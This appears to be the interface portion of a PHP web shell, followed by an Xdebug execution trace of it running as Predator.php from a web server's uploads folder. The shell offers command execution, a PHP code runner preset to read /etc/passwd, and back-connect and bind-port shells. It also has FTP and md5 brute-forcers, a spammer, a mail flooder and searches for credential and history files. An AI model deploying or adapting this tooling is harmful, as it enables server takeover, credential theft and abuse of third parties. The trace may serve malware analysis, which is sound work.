</td></tr>
<tr><td>
<b><?php
echo postgresql();
?></b>
</td></tr>
<tr><td>
<b><?php
echo oracle();
?></b>
</td></tr>
</table>
</td><td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Safe_mode:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>cURL:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>wget:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>fetch:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>lynx:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><?php
echo safe_mode();
?></b>
</td></tr>
<tr><td valign=top>
<b><?php
echo testcurl();
?></b>
</td></tr>
<tr><td valign=top>
<b><?php
echo testwget();
?></b>
</td></tr>
<tr><td valign=top>
<b><?php
echo testfetch();
?></b>
</td></tr>
<tr><td valign=top>
<b><?php
echo testlynx();
?></b>
</td></tr>
</table></td>
<td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Perl:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server time:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server date:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Total space:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Free space:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><font size=2 color=green><?php
echo testperl();
?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php
echo date('H:i');
?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php
echo date('d-m-Y');
?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php
echo view_size(disk_total_space(getcwd()));
?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php
echo view_size(diskfreespace(getcwd()));
?></font></b>
</td></tr>
</table></td></tr>
</table>
</td></tr>
</table>
</td></tr>
<tr><td width=100% height=100% bgcolor='#333333' valign=top>
<table width=100%>
<tr><td valign=top align=center>
<table width=100% height=200 class='td1'>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<input type=hidden name="type" value=5>
<textarea cols=80 rows=13 name="value" class='ta'>
<?php
echo htmlspecialchars(shell());
?>
</textarea><?php
echo edit();
?></form>
</td>
<td valign=top align=left width=10%>
<table width=100% height=100% class='td2'>
<form action method=POST><tr><td valign=top align=left height=40% style="border-bottom: 1px solid #000000;">
<b>.::System shell::.</b><br>
<input type=hidden name="type" value=2>
<center><input type=text name="value" size=35 class='ta'></center>
</ br><center><input type=submit value="Enter" style="border-top: 1px solid #333333;border-bottom: 1px solid #666666;border-right: 1px solid #666666;border-left: 1px solid #666666;background: #333333;font-weight:bold;"></center>
</td></tr></form>
<tr><td valign=top align=left>
<form action method=POST>
<table>
<tr><td>
<b>.::PHP-code::.</b>
</td><td align=right>
<input type=submit value="Run code" class='bt'>
<input type=hidden name="type" value=1>
</td></tr>
<tr><td colspan=2>
<textarea rows=5 cols=26 name="value" class='ta'><?php
echo "readfile('/etc/passwd');";
?></textarea>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
<table>
<tr><td height=0></td></tr>
</table>
<table width=100% height=80 class='td1' valign=top>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::PWD::.</b>
</td><td align=right>
<input type=submit class='bt' value="cd">
<input type=hidden name="type" value=3>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=71 value=<?php
echo pwd();
?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::File Edit::.</b>
</td><td align=right>
<input type=submit class='bt' value="Edit">
<input type=hidden name="type" value=4>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=72 value=<?php
echo pwd();
?>>
</td></tr>
</table></form>
</td></tr>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Download::.</b>
</td><td align=right>
<input type=submit class='bt' value="Download">
<input type=hidden name="type" value=11>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=71 value=<?php
echo pwd();
?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form enctype="multipart/form-data" action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Upload::.</b>
</td><td align=right colspan=3>
<input type=submit class='bt' value="Upload">
<input type=hidden name="type" value=6>
</td></tr>
<tr><td colspan=2>
<font size=2 color=#888888>New name:</b>
<input type=text size=15 name="newname" class=ta>
</td><td width=4></td><td colspan=2>
<input type=file name="userfile" size=28>
</td></tr>
</table></form>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Alias::.</b>
</td><td align=right>
<input type=submit class='bt' value="RUN">
<input type=hidden name="type" value=7>
</td></tr>
<tr><td colspan=2>
<select name='value' class='ta' width=200>
<option>find apahce config file</option>
<option>find access_log files</option>
<option>find error_log files</option>
<option>find suid files</option>
<option>find suid files in current dir</option>
<option>find sgid files</option>
<option>find sgid files in current dir</option>
<option>find config.inc.php files</option>
<option>find config.inc.php files in current dir</option>
<option>find config* files</option>
<option>find config* files in current dir</option>
<option>find all writable files</option>
<option>find all writable files in current dir</option>
<option>find all writable directories</option>
<option>find all writable directories in current dir</option>
<option>find all writable directories and files</option>
<option>find all writable directories and files in current dir</option>
<option>find all service.pwd files</option>
<option>find service.pwd files in current dir</option>
<option>find all .htpasswd files</option>
<option>find .htpasswd files in current dir</option>
<option>find all .bash_history files</option>
<option>find .bash_history files in current dir</option>
<option>find all .mysql_history files</option>
<option>find .mysql_history files in current dir</option>
<option>find all .fetchmailrc files</option>
<option>find .fetchmailrc files in current dir</option>
<option>list file attributes on a Linux second extended file system</option>
<option>show opened ports</option>
<option>---------------------------------------------------------------------------------------------------------</option>
</select>
</td></tr>
</table></form></td>
<script>
function base64Encode(str)
{
var charBase64 = new Array(
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
);
var out = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
var len = str.length;
do
{
chr1 = str.charCodeAt(i++);
chr2 = str.charCodeAt(i++);
chr3 = str.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 0x03) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 0x0F) << 2) | (chr3 >> 6);
enc4 = chr3 & 0x3F;
out += charBase64[enc1] + charBase64[enc2];
if (isNaN(chr2))
{
out += '==';
}
else if (isNaN(chr3))
{
out += charBase64[enc3] + '=';
}
else
{
out += charBase64[enc3] + charBase64[enc4];
}
}
while (i < len);
return out;
}
function base64Decode(str)
{
var indexBase64 = new Array(
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1,-1,-1,-1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11,12,13,14,
15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
-1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1
);
var out = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
str = str.replace(/^[^a-zA-Z0-9\+\/\=]+|[^a-zA-Z0-9\+\/\=]+$/g,"")
var len = str.length;
do
{
enc1 = indexBase64[str.charCodeAt(i++)];
enc2 = indexBase64[str.charCodeAt(i++)];
enc3 = indexBase64[str.charCodeAt(i++)];
enc4 = indexBase64[str.charCodeAt(i++)];
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
out += String.fromCharCode(chr1);
if (enc3 != -1)
{
out += String.fromCharCode(chr2);
}
if (enc4 != -1)
{
out += String.fromCharCode(chr3);
}
}
while (i < len);
if (i != len)
{
new Error(BASE64_BROKEN);
return "";
}
return out;
}
</script>
<td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td width=1%>
<b>.::Base64_encode::.</b>
</td><td align=right width=6%>
<input type=button value="encode" class='bt' onclick='t.value=base64Encode(t.value)'>
</td>
<form action method=POST><td width=1%>
<b>.::Base64_decode::.</b>
</td><td align=right width=6%>
<input type=button value="decode" class='bt' onclick='n.value=base64Decode(n.value)'>
</td></tr>
<tr><td colspan=2>
<input type=text name='t' class='ta' size=34>
</td><td colspan=2>
<input type=text name='n' class='ta' size=34>
</td></tr>
</table></form>
</td></tr>
</td></tr>
</table>
</td></tr><tr></tr><tr><td>
<table cellpadding=0 cellspacing=0><tr><td>
<table class='td1' width=226>
<tr><td width=100% class='td2'>
<form action method=POST>
<table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
<b>.::Back Connect::.</b></td></tr>
<tr><td width=100% height=10 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2><b>IP:</b></font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='ip' size=15 value=<?php
echo $_SERVER['REMOTE_ADDR'];
?>></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>port:</font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='port' size=10 value='5000'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
<td width=5%></td>
<td width=100% align=right>
<select class='ta' name='method'>
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=100% align=right colspan=3>
<input type=hidden name='type' value='12'>
<input type=submit value='Connect' class='bt'></form>
<tr><td width=100% height=5 colspan=3></td></tr>
</table>
</td></tr>
</table>
</td><td width=5></td><td>
<table class='td1' width=226>
<tr><td width=100% class='td2'>
<form action method=POST>
<table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
<b>.::Bind port::.</b></td></tr>
<tr><td width=100% height=10 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2><b>Port:</b></font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='port' size=15 value='6000'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>pass:</font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='pass' size=10 value='hshell'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
<td width=5%></td>
<td width=100% align=right>
<select class='ta' name='method'>
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=100% align=right colspan=3>
<input type=hidden name='type' value='12'>
<input type=submit value='Bind' class='bt'></form>
<tr><td width=100% height=5 colspan=3></td></tr>
</table>
</td></tr>
</table>
</td><td width=5></td><td width=50% height=141>
<table class='td1' width=100% height=100% valign=top><tr><td width=100% height=100% class='td2' valign=top>
<table cellpadding=0 cellspacing=0 width=95%><tr><td colspan=4>
<b>.::md5 bruter::.</b>
</td></tr><tr><td height=10></td></tr>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right><b>hash:</b></font></td><td width=5></td><td align=right>
<input type=text name='hash' class='ta' size=50>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right>log_file:</font></td><td width=5></td><td align=right>
<input type=text name='log' class='ta' size=30 value='md5_log.txt'>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right>dictionary_file:</font></td><td width=5></td><td align=right>
<input type=text name='dict' class='ta' size=30 value='md5_dict.txt'>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
</td><td width=5></td><td align=right>
<input type=submit class='bt' value='Start Brute'>
</td></tr>
</table>
</td></tr></table>
</td></tr></table>
<tr></tr><tr><td>
<table class='td1' width=100% height=310 valign=top align=left>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td valign=top colspan=3 height=30>
<b>.::Spammer::.</b>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>emails_file:</b></font>
</td><td width=65% align=right>
<input type=text name='elist' class='ta' size=17 value="emails.txt">
</td></tr><tr><td height=5></td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>log_file:</b></font>
</td><td width=65% align=right>
<input type=text name='log' class='ta' size=17 value="mail_log.txt">
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>From:</font>
</td><td width=65% align=right>
<input type=text name='from' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Subject:</font>
</td><td width=65% align=right>
<input type=text name='subject' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Message:</font>
</td><td width=65% align=right>
<textarea name='msg' class='ta' cols=20 rows=4></textarea>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Check<sup>*</sup>:</font>
</td><td width=65% align=right>
<input type=text name='check' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
</td><td width=65% align=right>
<input type=submit class='bt' value="Start">
<input type=hidden name='type' value=10>
</td></tr>
</table></form>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td colspan=3 height=30 valign=top><b>.::FTP-Brute::.</b></td></tr>
<tr><td width=31% align=right>
<font color=#888888 size=2><b>Host:</b></font>
</td><td align=right>
<input type=text name='host' class='ta' size=28>
</td><td width=5%></td></tr><tr><td height=35 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_users file:</font>
</td><td align=right>
<input type=text name='users' class='ta' size=17 value="ftp_users.txt">
</td><td></td></tr>
<tr><td height=5 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_passwd file:</font>
</td><td align=right>
<input type=text name='passwd' class='ta' size=17 value="ftp_passwds.txt">
</td><td></td></tr>
<tr><td height=5 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_log file:</font>
</td><td align=right>
<input type=text name='log' class='ta' size=17 value="ftp_log.txt">
</td><td></td></tr>
<tr><td colspan=2 height=20></td></tr>
<tr><td colspan=2 align=right>
<input type=submit class='bt' value="Start Brute">
<input type=hidden name="type" value=9>
</td></tr>
</td></table></form>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td valign=top colspan=3 height=30>
<b>.::Flooder::.</b>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>log_file:</b></font>
</td><td width=65% align=right>
<input type=text name='log' class='ta' size=17 value="mflood_log.txt">
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Send to:</font>
</td><td width=65% align=right>
<input type=text name='to' class='ta' size=27>
</td></tr><tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>From:</font>
</td><td width=65% align=right>
<input type=text name='from' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Subject:</font>
</td><td width=65% align=right>
<input type=text name='subject' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Message:</font>
</td><td width=65% align=right>
<textarea name='msg' class='ta' cols=20 rows=4></textarea>
</td></tr>
<td height=25><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Amount:</font>
</td><td width=65% align=right>
<input type=text name='amount' class='ta' size=17>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Check<sup>*</sup>:</font>
</td><td width=65% align=right>
<input type=text name='check' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
</td><td width=65% align=right>
<input type=submit class='bt' value="Flood">
<input type=hidden name='type' value=10>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
</td></tr>
</table></center>
<center><font size=1 color=#444444>.:[Public v1.0]:.</font></center>
</body>
</html>
<!-- Coded by LoFFi & Ls01r //-->
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:32:25.205477]
1 0 1 0.000156 393528
1 3 0 0.000977 610616 {main} 1 /var/www/html/uploads/Predator.php 0 0
1 A /var/www/html/uploads/Predator.php 2 $auth = 0
2 4 0 0.001008 610616 ini_set 0 /var/www/html/uploads/Predator.php 6 2 'session.gc_maxlifetime' 1
2 4 1 0.001026 610720
2 4 R '1440'
2 5 0 0.001040 610616 session_start 0 /var/www/html/uploads/Predator.php 7 0
2 5 1 0.001094 611368
2 5 R TRUE
2 6 0 0.001109 611368 error_reporting 0 /var/www/html/uploads/Predator.php 8 1 0
2 6 1 0.001123 611408
2 6 R 22527
2 7 0 0.001137 611368 safe_mode 1 /var/www/html/uploads/Predator.php 9 0
3 8 0 0.001152 611368 ex 1 /var/www/html/uploads/Predator.php 435 1 'echo abch0ld'
3 A /var/www/html/uploads/Predator.php 447 $out = ''
4 9 0 0.001176 611368 function_exists 0 /var/www/html/uploads/Predator.php 450 1 'exec'
4 9 1 0.001190 611408
4 9 R TRUE
4 10 0 0.001203 611392 exec 0 /var/www/html/uploads/Predator.php 452 2 'echo abch0ld' ''
4 10 1 0.001978 611896
4 10 R 'abch0ld'
4 11 0 0.002004 611800 join 0 /var/www/html/uploads/Predator.php 453 2 '\n' [0 => 'abch0ld']
4 11 1 0.002021 611864
4 11 R 'abch0ld'
3 A /var/www/html/uploads/Predator.php 453 $out = 'abch0ld'
3 8 1 0.002047 611400
3 8 R 'abch0ld'
3 12 0 0.002061 611400 strpos 0 /var/www/html/uploads/Predator.php 435 2 'abch0ld' 'h0ld'
3 12 1 0.002075 611472
3 12 R 3
2 A /var/www/html/uploads/Predator.php 440 _SESSION['safe_mode'] = 0
2 7 1 0.002102 611688
1 A /var/www/html/uploads/Predator.php 10 $name = '9b534ea55d0b82c3a7e80003a84b6865'
1 A /var/www/html/uploads/Predator.php 11 $pass = 'a029d0df84eb5549c641e04a9ef389e5'
2 13 0 0.002139 611688 getsystem 1 /var/www/html/uploads/Predator.php 702 0
3 14 0 0.002151 611688 php_uname 0 /var/www/html/uploads/Predator.php 575 1 's'
3 14 1 0.002166 611752
3 14 R 'Linux'
3 15 0 0.002179 611720 php_uname 0 /var/www/html/uploads/Predator.php 575 1 'r'
3 15 1 0.002192 611800
3 15 R '5.15.0-60-generic'
3 16 0 0.002206 611744 php_uname 0 /var/www/html/uploads/Predator.php 575 1 'v'
3 16 1 0.002219 611856
3 16 R '#66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2 13 1 0.002235 611784
2 13 R 'Linux 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023'
2 17 0 0.002253 611688 getserver 1 /var/www/html/uploads/Predator.php 708 0
3 18 0 0.002265 611688 getenv 0 /var/www/html/uploads/Predator.php 580 1 'SERVER_SOFTWARE'
3 18 1 0.002280 611768
3 18 R 'Apache/2.4.52 (Ubuntu)'
2 17 1 0.002295 611736
2 17 R 'Apache/2.4.52 (Ubuntu)'
2 19 0 0.002310 611688 getuser 1 /var/www/html/uploads/Predator.php 714 0
3 20 0 0.002322 611688 get_current_user 0 /var/www/html/uploads/Predator.php 586 0
3 20 1 0.002359 611728
3 20 R 'osboxes'
2 A /var/www/html/uploads/Predator.php 586 $out = 'osboxes'
3 21 0 0.002388 611728 ex 1 /var/www/html/uploads/Predator.php 589 1 'id'
3 A /var/www/html/uploads/Predator.php 447 $out = ''
4 22 0 0.002443 611728 function_exists 0 /var/www/html/uploads/Predator.php 450 1 'exec'
4 22 1 0.002457 611768
4 22 R TRUE
4 23 0 0.002470 611752 exec 0 /var/www/html/uploads/Predator.php 452 2 'id' ''
4 23 1 0.005312 612352
4 23 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 24 0 0.005349 612208 join 0 /var/www/html/uploads/Predator.php 453 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
4 24 1 0.005368 612272
4 24 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3 A /var/www/html/uploads/Predator.php 453 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3 21 1 0.005398 611808
3 21 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
2 A /var/www/html/uploads/Predator.php 589 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
2 19 1 0.005427 611776
2 19 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
2 25 0 0.005445 611696 pwd 1 /var/www/html/uploads/Predator.php 720 0
3 26 0 0.005470 611696 chdir 0 /var/www/html/uploads/Predator.php 600 1 NULL
3 26 1 0.005494 611784
3 26 R FALSE
3 27 0 0.005509 611744 getcwd 0 /var/www/html/uploads/Predator.php 601 0
3 27 1 0.005522 611792
3 27 R '/var/www/html/uploads'
2 A /var/www/html/uploads/Predator.php 601 $cwd = '/var/www/html/uploads'
3 28 0 0.005547 611792 strrpos 0 /var/www/html/uploads/Predator.php 602 2 '/var/www/html/uploads' '/'
3 28 1 0.005561 611864
3 28 R 13
2 A /var/www/html/uploads/Predator.php 602 $u = 13
2 25 1 0.005585 611792
2 25 R '/var/www/html/uploads/'
1 A /var/www/html/uploads/Predator.php 720 $u = '/var/www/html/uploads/'
2 29 0 0.005612 611792 phpversion 0 /var/www/html/uploads/Predator.php 763 0
2 29 1 0.005624 611856
2 29 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2 30 0 0.005640 611792 testmysql 1 /var/www/html/uploads/Predator.php 766 0
3 31 0 0.005652 611792 function_exists 0 /var/www/html/uploads/Predator.php 426 1 'mysql_connect'
3 31 1 0.005666 611832
3 31 R FALSE
2 30 1 0.005679 611792
2 30 R '<font size=2 color=red>OFF</font>'
2 32 0 0.005695 611792 testmssql 1 /var/www/html/uploads/Predator.php 769 0
3 33 0 0.005707 611792 function_exists 0 /var/www/html/uploads/Predator.php 408 1 'mssql_connect'
3 33 1 0.005720 611832
3 33 R FALSE
2 32 1 0.005733 611792
2 32 R '<font size=2 color=red>OFF</font>'
2 34 0 0.005749 611792 postgresql 1 /var/www/html/uploads/Predator.php 772 0
3 35 0 0.005760 611792 function_exists 0 /var/www/html/uploads/Predator.php 398 1 'pg_connect'
3 35 1 0.005774 611832
3 35 R FALSE
2 34 1 0.005786 611792
2 34 R '<font size=2 color=red>OFF</font>'
2 36 0 0.005802 611792 oracle 1 /var/www/html/uploads/Predator.php 775 0
3 37 0 0.005813 611792 function_exists 0 /var/www/html/uploads/Predator.php 388 1 'ocilogon'
3 37 1 0.005826 611832
3 37 R FALSE
2 36 1 0.005839 611792
2 36 R '<font size=2 color=red>OFF</font>'
2 38 0 0.005854 611792 safe_mode 1 /var/www/html/uploads/Predator.php 798 0
3 39 0 0.005867 611792 ex 1 /var/www/html/uploads/Predator.php 435 1 'echo abch0ld'
3 A /var/www/html/uploads/Predator.php 447 $out = ''
4 40 0 0.005890 611792 function_exists 0 /var/www/html/uploads/Predator.php 450 1 'exec'
4 40 1 0.005904 611832
4 40 R TRUE
4 41 0 0.005917 611816 exec 0 /var/www/html/uploads/Predator.php 452 2 'echo abch0ld' ''
4 41 1 0.006565 612320
4 41 R 'abch0ld'
4 42 0 0.006593 612224 join 0 /var/www/html/uploads/Predator.php 453 2 '\n' [0 => 'abch0ld']
4 42 1 0.006611 612288
4 42 R 'abch0ld'
3 A /var/www/html/uploads/Predator.php 453 $out = 'abch0ld'
3 39 1 0.006637 611824
3 39 R 'abch0ld'
3 43 0 0.006651 611824 strpos 0 /var/www/html/uploads/Predator.php 435 2 'abch0ld' 'h0ld'
3 43 1 0.006666 611896
3 43 R 3
2 A /var/www/html/uploads/Predator.php 440 _SESSION['safe_mode'] = 0
2 38 1 0.006693 611792
2 38 R '<font size=2 color=red>OFF</font>'
2 44 0 0.006711 611792 testcurl 1 /var/www/html/uploads/Predator.php 801 0
3 45 0 0.006724 611792 function_exists 0 /var/www/html/uploads/Predator.php 417 1 'curl_version'
3 45 1 0.006738 611832
3 45 R TRUE
2 44 1 0.006751 611792
2 44 R '<font size=2 color=green>ON</font>'
2 46 0 0.006776 611904 testwget 1 /var/www/html/uploads/Predator.php 804 0
3 47 0 0.006789 611904 ex 1 /var/www/html/uploads/Predator.php 378 1 'wget --help'
3 A /var/www/html/uploads/Predator.php 447 $out = ''
4 48 0 0.006812 611904 function_exists 0 /var/www/html/uploads/Predator.php 450 1 'exec'
4 48 1 0.006826 611944
4 48 R TRUE
4 49 0 0.006838 611928 exec 0 /var/www/html/uploads/Predator.php 452 2 'wget --help' ''
4 49 1 0.009793 644464
4 49 R 'and/or open issues at https://savannah.gnu.org/bugs/?func=additem&group=wget.'
4 50 0 0.009851 644288 join 0 /var/www/html/uploads/Predator.php 453 2 '\n' [0 => 'GNU Wget 1.21.2, a non-interactive network retriever.', 1 => 'Usage: wget [OPTION]... [URL]...', 2 => '', 3 => 'Mandatory arguments to long options are mandatory for short options too.', 4 => '', 5 => 'Startup:', 6 => ' -V, --version display the version of Wget and exit', 7 => ' -h, --help print this help', 8 => ' -b, --background go to background after startup', 9 => ' -e, --execute=COMMAND execute a `.wgetrc\'-style command', 10 => '', 11 => 'Logging and input file:', 12 => ' -o, --output-file=FILE log messages to FILE', 13 => ' -a, --append-output=FILE append messages to FILE', 14 => ' -d, --debug print lots of debugging information', 15 => ' -q, --quiet quiet (no output)', 16 => ' -v, --verbose be verbose (this is the default)', 17 => ' -nv, --no-verbose turn off verboseness, without being quiet', 18 => ' --report-speed=TYPE output bandwidth as TYPE. TYPE can be bits', 19 => ' -i, --input-file=FILE download URLs found in local or external FILE', 20 => ' -F, --force-html treat input file as HTML', 21 => ' -B, --base=URL resolves HTML input-file links (-i -F)', 22 => ' relative to URL', 23 => ' --config=FILE specify config file to use', 24 => ' --no-config do not read any config file', 25 => ' --rejected-log=FILE log reasons for URL rejection to FILE', 26 => '', 27 => 'Download:', 28 => ' -t, --tries=NUMBER set number of retries to NUMBER (0 unlimits)', 29 => ' --retry-connrefused retry even if connection is refused', 30 => ' --retry-on-http-error=ERRORS comma-separated list of HTTP errors to retry', 31 => ' -O, --output-document=FILE write documents to FILE', 32 => ' -nc, --no-clobber skip downloads that would download to', 33 => ' existing files (overwriting them)', 34 => ' --no-netrc don\'t try to obtain credentials from .netrc', 35 => ' -c, --continue resume getting a partially-downloaded file', 36 => ' --start-pos=OFFSET start downloading from zero-based position OFFSET', 37 => ' --progress=TYPE select progress gauge type', 38 => ' --show-progress display the progress bar in any verbosity mode', 39 => ' -N, --timestamping don\'t re-retrieve files unless newer than', 40 => ' local', 41 => ' --no-if-modified-since don\'t use conditional if-modified-since get', 42 => ' requests in timestamping mode', 43 => ' --no-use-server-timestamps don\'t set the local file\'s timestamp by', 44 => ' the one on the server', 45 => ' -S, --server-response print server response', 46 => ' --spider don\'t download anything', 47 => ' -T, --timeout=SECONDS set all timeout values to SECONDS', 48 => ' --dns-timeout=SECS set the DNS lookup timeout to SECS', 49 => ' --connect-timeout=SECS set the connect timeout to SECS', 50 => ' --read-timeout=SECS set the read timeout to SECS', 51 => ' -w, --wait=SECONDS wait SECONDS between retrievals', 52 => ' (applies if more then 1 URL is to be retrieved)', 53 => ' --waitretry=SECONDS wait 1..SECONDS between retries of a retrieval', 54 => ' (applies if more then 1 URL is to be retrieved)', 55 => ' --random-wait wait from 0.5*WAIT...1.5*WAIT secs between retrievals', 56 => ' (applies if more then 1 URL is to be retrieved)', 57 => ' --no-proxy explicitly turn off proxy', 58 => ' -Q, --quota=NUMBER 